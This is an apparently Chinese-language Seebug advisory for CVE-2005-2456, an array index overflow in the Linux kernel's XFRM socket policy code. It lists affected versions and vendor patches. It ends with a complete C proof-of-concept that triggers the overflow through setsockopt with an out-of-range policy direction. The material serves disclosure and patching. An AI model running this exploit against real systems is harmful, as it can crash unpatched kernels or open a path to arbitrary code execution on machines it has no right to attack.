Linux Kernel XFRM数组索引溢出漏洞

2006-08-1400:00:00

Root

www.seebug.org

0.001 Low

EPSS

Percentile

38.9%

JSON

BUGTRAQ ID: 14477
CVE(CAN) ID: CAN-2005-2456

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel的xfrm_user.c文件的xfrm_sk_policy_insert函数中存在数组索引溢出。如果将大于XFRM_POLICY_OUT的p->dir值用作sock->sk_policy数组的索引的话，就可以触发这个漏洞，导致拒绝服务或执行任意代码。

Linux kernel < 2.6.13-rc4
S.u.S.E. Linux Enterprise Server 9
S.u.S.E. Linux 9.3
S.u.S.E. Linux 9.2
S.u.S.E. Linux 9.1
Novell Linux Desktop 9
Linux

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

<a href=“http://www.kernel.org/” target=“_blank”>http://www.kernel.org/</a>

RedHat

RedHat已经为此发布了安全公告（RHSA-2005:663-01和RHSA-2005:514-01）以及相应补丁:
RHSA-2005:663-01：Updated kernel packages available for Red Hat Enterprise Linux 3 Update 6
链接：<a href=“http://lwn.net/Alerts/153520/?format=printable” target=“_blank”>http://lwn.net/Alerts/153520/?format=printable</a>

RHSA-2005:514-01: Updated kernel packages available for Red Hat Enterprise Linux 4 Update 2
链接：<a href=“http://lwn.net/Alerts/154615/?format=printable” target=“_blank”>http://lwn.net/Alerts/154615/?format=printable</a>

S.u.S.E.

S.u.S.E.已经为此发布了一个安全公告（SUSE-SA:2005:050）以及相应补丁:
SUSE-SA:2005:050：kernel multiple security problems
链接：<a href=“http://www.novell.com/linux/security/advisories/2005_50_kernel.html” target=“_blank”>http://www.novell.com/linux/security/advisories/2005_50_kernel.html</a>


                                                #include &lt;stdio.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;

#include &lt;linux/xfrm.h&gt;

#define IP_XFRM_POLICY 17

int 
main()
{
  int fd;
  struct sockaddr_in s_in;
  struct xfrm_userpolicy_info xp;
  
  inet_aton(&quot;192.168.13.8&quot;, &amp;s_in.sin_addr);
  s_in.sin_family = AF_INET;
  s_in.sin_port = htons(555);
  fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if (fd &lt; 0)
    {
      perror(&quot;socket&quot;);
      return 1;
    }
  if (connect(fd, (struct sockaddr *) &amp;s_in, sizeof(s_in)) &lt; 0)
    {
      perror(&quot;connect&quot;);
      return 1;
    }
  
  inet_aton(&quot;192.168.13.7&quot;, (struct in_addr *) &amp;xp.sel.saddr);
  xp.sel.prefixlen_s = 32;
  inet_aton(&quot;192.168.13.8&quot;, (struct in_addr *) &amp;xp.sel.daddr);
  xp.sel.prefixlen_d = 32;
  xp.sel.dport = 0;
  xp.sel.dport_mask = 0;
  xp.sel.sport = 0;
  xp.sel.sport_mask = 0;
  xp.sel.family = AF_INET;
  xp.sel.proto = 0;
  xp.sel.ifindex = 0;
  xp.sel.user = 0;
  xp.lft.soft_byte_limit = 10000000;
  xp.lft.hard_byte_limit = 10000000;
  xp.lft.soft_packet_limit = 10000000;
  xp.lft.hard_packet_limit = 10000000;
  xp.lft.soft_add_expires_seconds = 3600;
  xp.lft.hard_add_expires_seconds = 3600;
  xp.lft.soft_use_expires_seconds = 3600;
  xp.lft.hard_use_expires_seconds = 3600;
  xp.curlft.bytes = 0;
  xp.curlft.packets = 0;
  xp.curlft.add_time = 0;
  xp.curlft.use_time = 0;
  xp.priority = 0;
  xp.index = 0;
  xp.dir = XFRM_POLICY_FWD;
  xp.action = XFRM_POLICY_ALLOW;
  xp.flags = 0;
  xp.share = XFRM_SHARE_UNIQUE;
  
  if (setsockopt(fd, SOL_IP, IP_XFRM_POLICY, &amp;xp, sizeof(xp)) &lt; 0)
    {
      perror(&quot;setsockopt(IP_XFRM_POLICY)&quot;);
      return 1;
    }
  
  send(fd, &quot;abrakadabra&quot;, 11, 0);
  close(fd);
}